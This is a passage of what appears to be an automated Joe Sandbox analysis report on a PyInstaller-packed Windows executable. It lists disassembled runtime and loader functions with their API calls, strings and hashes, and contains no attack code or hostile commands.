Part of subcall function 00007FF7F3DD8830: GetEnvironmentVariableW.KERNEL32(00007FF7F3DD388E), ref: 00007FF7F3DD8867
Part of subcall function 00007FF7F3DD8830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7F3DD8889

Part of subcall function 00007FF7F3DE8238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE8251

Part of subcall function 00007FF7F3DD2810: MessageBoxW.USER32 ref: 00007FF7F3DD28EA

Strings

_MEI%d, xrefs: 00007FF7F3DD8712
TMP, xrefs: 00007FF7F3DD86C2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7F3DD877E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7F3DD86DC
TMP, xrefs: 00007FF7F3DD869C, 00007FF7F3DD87A3

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: 5460fdd844c23a0caff50222cc78e142a0a5b6fb2ca46bdd174d2b9a71add00c
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: 9B419F11A1964254FB96B7E1A8652B9A290AF84BC0FC04131ED3D6F7DADE3CE545C3E0

Function 00007FFE126CC7F8 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CC9AC

Part of subcall function 00007FFE126C94B8: DName::operator+.LIBVCRUNTIME ref: 00007FFE126C9A29
Part of subcall function 00007FFE126C94B8: DName::operator+.LIBVCRUNTIME ref: 00007FFE126C9A5E

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CC95E

Strings

cli::array<, xrefs: 00007FFE126CC92B
cli::pin_ptr<, xrefs: 00007FFE126CC975
void, xrefs: 00007FFE126CC842
std::nullptr_t, xrefs: 00007FFE126CC8D7
void , xrefs: 00007FFE126CC86A
std::nullptr_t , xrefs: 00007FFE126CC8EA

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: 0e84257edd8271f32b759845b73cd3eefe07970f5e22a962a9d02e38f5861642
Instruction ID: b79f4730f684e6a29947a852956668a9af22be3f671a899f4cc6fb68bbfda555
Opcode Fuzzy Hash: 0e84257edd8271f32b759845b73cd3eefe07970f5e22a962a9d02e38f5861642
Instruction Fuzzy Hash: D3518D62E09F458DFB159B62DC402BD3BB0BB08768F844176CA8D12BE9DFBC9164C700

Function 00007FF7F3DDEA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7F3DDEA65

Part of subcall function 00007FF7F3DDF9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7F3DDF9FF
Part of subcall function 00007FF7F3DDF9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7F3DDFA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7F3DDEB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7F3DDED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7F3DDEE98

Strings

csm, xrefs: 00007FF7F3DDEAE6
csm, xrefs: 00007FF7F3DDEB60
csm, xrefs: 00007FF7F3DDEA7F

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 87e55a07004d764e5f578cf396403638c36e6746f4176f38b9332c186a714f53
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: C7D1813290874186EBA0EFA5D4403ADB7A4FB45788F900135EE9D6B7D9DF38E485C790

Function 00007FFE126C662A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6B10: RtlPcToFileHeader.KERNEL32 ref: 00007FFE126C6B60
Part of subcall function 00007FFE126C6B10: RaiseException.KERNEL32 ref: 00007FFE126C6BA1

RtlPcToFileHeader.KERNEL32 ref: 00007FFE126C66C7
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00007FFE126C6723

Strings

Bad read pointer - no RTTI data!, xrefs: 00007FFE126C6828
Bad dynamic_cast!, xrefs: 00007FFE126C6792
Access violation - no RTTI data!, xrefs: 00007FFE126C662A, 00007FFE126C684B
Attempted a typeid of nullptr pointer!, xrefs: 00007FFE126C6805

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: FileHeader$ExceptionFindInstanceRaiseTargetType
String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 1852475696-928371585
Opcode ID: 4ef8ad2c729168d00ef0645f383a1968f42c4eb1f6a8b3717fe5ffb80b324514
Instruction ID: e3529c7c42af87bcc5cb6a07d845d3282d79ba30fa6ab6936adc7a1f4dfefd6f
Opcode Fuzzy Hash: 4ef8ad2c729168d00ef0645f383a1968f42c4eb1f6a8b3717fe5ffb80b324514
Instruction Fuzzy Hash: 8F51A262A18E4A9ADE20EF12EC501B96360FF84BA4F804471DA8D036B5DFBCF925C704

Function 00007FF7F3DEED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7F3DEF0AA,?,?,0000019FAF4B9778,00007FF7F3DEAD53,?,?,?,00007FF7F3DEAC4A,?,?,?,00007FF7F3DE5F3E), ref: 00007FF7F3DEEE8C
GetProcAddress.KERNEL32(?,?,?,00007FF7F3DEF0AA,?,?,0000019FAF4B9778,00007FF7F3DEAD53,?,?,?,00007FF7F3DEAC4A,?,?,?,00007FF7F3DE5F3E), ref: 00007FF7F3DEEE98

Strings

ext-ms-, xrefs: 00007FF7F3DEEDE9
api-ms-, xrefs: 00007FF7F3DEEDD6

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 37933d31b63b379ae2dcbb5bd94ec17a9785335afdd77bd7dc2312315796d10e
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 68414761B09A1241EB99EB929800275A691BF48BD0FC84235DD3D6F3C4DF7CE88583A1

Function 00007FF7F3DD2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2D63
MessageBoxW.USER32 ref: 00007FF7F3DD2D99

Strings

Error, xrefs: 00007FF7F3DD2D8C
%ls: , xrefs: 00007FF7F3DD2D22
<FormatMessageW failed.>, xrefs: 00007FF7F3DD2D70
[PYI-%d:ERROR] , xrefs: 00007FF7F3DD2CA6

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 2512fbdb768b8aa149cdf9070e354e8befd28865d8375289a040942718875d56
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: B031F622B08B4142E760BB65B8502ABB695BF887C8F810135EF6D6B7D9DF3CD546C390

Function 00007FFE126C6FE4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFE126C71A3,?,?,00000000,00007FFE126C6FD4,?,?,?,?,00007FFE126C6D11), ref: 00007FFE126C7069
GetLastError.KERNEL32(?,?,?,00007FFE126C71A3,?,?,00000000,00007FFE126C6FD4,?,?,?,?,00007FFE126C6D11), ref: 00007FFE126C7077
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FFE126C71A3,?,?,00000000,00007FFE126C6FD4,?,?,?,?,00007FFE126C6D11), ref: 00007FFE126C7090
LoadLibraryExW.KERNEL32(?,?,?,00007FFE126C71A3,?,?,00000000,00007FFE126C6FD4,?,?,?,?,00007FFE126C6D11), ref: 00007FFE126C70A2
FreeLibrary.KERNEL32(?,?,?,00007FFE126C71A3,?,?,00000000,00007FFE126C6FD4,?,?,?,?,00007FFE126C6D11), ref: 00007FFE126C7110
GetProcAddress.KERNEL32(?,?,?,00007FFE126C71A3,?,?,00000000,00007FFE126C6FD4,?,?,?,?,00007FFE126C6D11), ref: 00007FFE126C711C

Strings

api-ms-, xrefs: 00007FFE126C7089

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: 76e9ed00015fa7378e2762435fe1c6674923b12dca3248f544122840abba5d3b
Instruction ID: 0f9aa2f1c090669d4c9ce12e5a00f937dddbd2dae8efe9ca9120d41991af0b76
Opcode Fuzzy Hash: 76e9ed00015fa7378e2762435fe1c6674923b12dca3248f544122840abba5d3b
Instruction Fuzzy Hash: 74318D21B1AF8692EE1AAB03AC005B56398BF04BB4F994575DD5D0B3E0EEBCE5648710

Function 00007FFE126C2C38 Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2CF0
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2D0E
__AdjustPointer.LIBCMT ref: 00007FFE126C2D4F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2D5C
__AdjustPointer.LIBCMT ref: 00007FFE126C2D98
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2DAD
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2DF2
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2DF9

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: 65b26e5f074ca0aafdff43cbb52cf6556557cf4e92b090b05be647d0b4ff5bec
Instruction ID: 2916e0e4180614e5f43bfe31f009f5bb150291c42e69522df6641eac65ec66db
Opcode Fuzzy Hash: 65b26e5f074ca0aafdff43cbb52cf6556557cf4e92b090b05be647d0b4ff5bec
Instruction Fuzzy Hash: EF51A331A0DE4782FAA5AB17DC4463963A4AF54FA4F8944B6CE4D067F4DFACE462C340

Function 00007FFE126C2E1C Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2ED6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2EF5
__AdjustPointer.LIBCMT ref: 00007FFE126C2F36
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2F43
__AdjustPointer.LIBCMT ref: 00007FFE126C2F7F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2F94
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2FD9
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2FE0

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: d568fcbafcd5d9e8e83e95e63f5b62363508f79f2b2b670005157146ca98b55e
Instruction ID: 567de5eac377899e8ce480c9a51d580babdad5b81c0d578c9791ce8f099bb060
Opcode Fuzzy Hash: d568fcbafcd5d9e8e83e95e63f5b62363508f79f2b2b670005157146ca98b55e
Instruction Fuzzy Hash: C051D461A4DE4B82EA65EF139C446386394AF48FA0F8984B5DE9D067F4DFFCE4618340

Function 00007FFE126CEB88 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CEBFC
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CEC0B

Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE4D
Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE86
Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD1B1

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CECAB
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CECBB
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CED67

Strings

{for , xrefs: 00007FFE126CEC34

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID: {for
API String ID: 2943138195-864106941
Opcode ID: ad201dfe96a96ae0dc6555201844fc758e8e36effd4b63a30410ed7392a88b68
Instruction ID: 387a958fa72e27ad202b2255a781edca7acbb2ea17e89f1bfe7f00bc906ecdbe
Opcode Fuzzy Hash: ad201dfe96a96ae0dc6555201844fc758e8e36effd4b63a30410ed7392a88b68
Instruction Fuzzy Hash: 14514F72A08E899EE701AF66DC443E837A4EB54758F8080B1EA4D47BE5DFBCE565C300

Function 00007FFE126CE174 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FFE126CD86D), ref: 00007FFE126CE238
DName::DName.LIBVCRUNTIME ref: 00007FFE126CE257

Strings

`template-parameter, xrefs: 00007FFE126CE265
void, xrefs: 00007FFE126CE1BA

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: NameName::atol
String ID: `template-parameter$void
API String ID: 2130343216-4057429177
Opcode ID: 1a349dcf90f4e371f1810c8875e562b3843b42aeee856190ba29246ab6ec8260
Instruction ID: 6f45665923b3fcb19512321597e673b43bf491777d70ecf815a00f524f5a4c45
Opcode Fuzzy Hash: 1a349dcf90f4e371f1810c8875e562b3843b42aeee856190ba29246ab6ec8260
Instruction Fuzzy Hash: DE416C22F08F5A89FB009BA2DC512FC33B1BB487A8F950175CE4D16AA9DFBCA555C340

Function 00007FF7F3DDDCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDD4D
GetLastError.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDD85
FreeLibrary.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDDF3
GetProcAddress.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDDFF

Strings

api-ms-, xrefs: 00007FF7F3DDDD6D

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 49d4018a666ae8789ed039aaefa646c712ae924cde501a2b2e9f5a88cd3f76e4
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 5A319321B1A741D1EF91AB92A4006B5B394FF48BA4F994535DD3D2E3C8DE3CE44482B0

Function 00007FFE126C8EC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE126C8D3C: Replicator::operator[].LIBVCRUNTIME ref: 00007FFE126C8DFD

DName::operator+.LIBVCRUNTIME ref: 00007FFE126C8F72

Strings

,..., xrefs: 00007FFE126C8F40
void, xrefs: 00007FFE126C8FE4
<ellipsis>, xrefs: 00007FFE126C8FBF
..., xrefs: 00007FFE126C8FAF
,<ellipsis>, xrefs: 00007FFE126C8F50

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 1405650943-2211150622
Opcode ID: cc95b6719b0dfac949915fa95283a824f9a94d2610a8c8b5f10b5de908d24d67
Instruction ID: e9981fb8173089d25988408a1f9a60ba663e6c8c1ac83d7ed74c027bd095876a
Opcode Fuzzy Hash: cc95b6719b0dfac949915fa95283a824f9a94d2610a8c8b5f10b5de908d24d67
Instruction Fuzzy Hash: 21413871E08F4A9EF7229B66DC542B837A1BB083A8F9445B1CA9C123F4DFBCA551C740

Function 00007FFE126CACC4 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CADA7

Strings

unsigned , xrefs: 00007FFE126CAD7B
int , xrefs: 00007FFE126CAD35
char , xrefs: 00007FFE126CAD4D
short , xrefs: 00007FFE126CAD44
long , xrefs: 00007FFE126CAD26

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
Opcode ID: 041e2dffe1b489bc893f09ff0a4f423b3d9eca273271e83df22d622629981137
Instruction ID: 04bfdd16242e79c7f4b8b1ce1031f33c59bc630cc7fda7d3c6345ceef6f1c2f7
Opcode Fuzzy Hash: 041e2dffe1b489bc893f09ff0a4f423b3d9eca273271e83df22d622629981137
Instruction Fuzzy Hash: B3315D72E18A5989E7169F6ADC541BC37B0FB09764F848171DA8C06BF8DEBCE914C710

Function 00007FF7F3DD2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7F3DD351A,?,00000000,00007FF7F3DD3F1B), ref: 00007FF7F3DD2AA0

Strings

0, xrefs: 00007FF7F3DD2B16
Warning [ANSI Fallback], xrefs: 00007FF7F3DD2B0F
Warning, xrefs: 00007FF7F3DD2B1E
WARNING, xrefs: 00007FF7F3DD2AAF
[PYI-%d:%s] , xrefs: 00007FF7F3DD2AA8

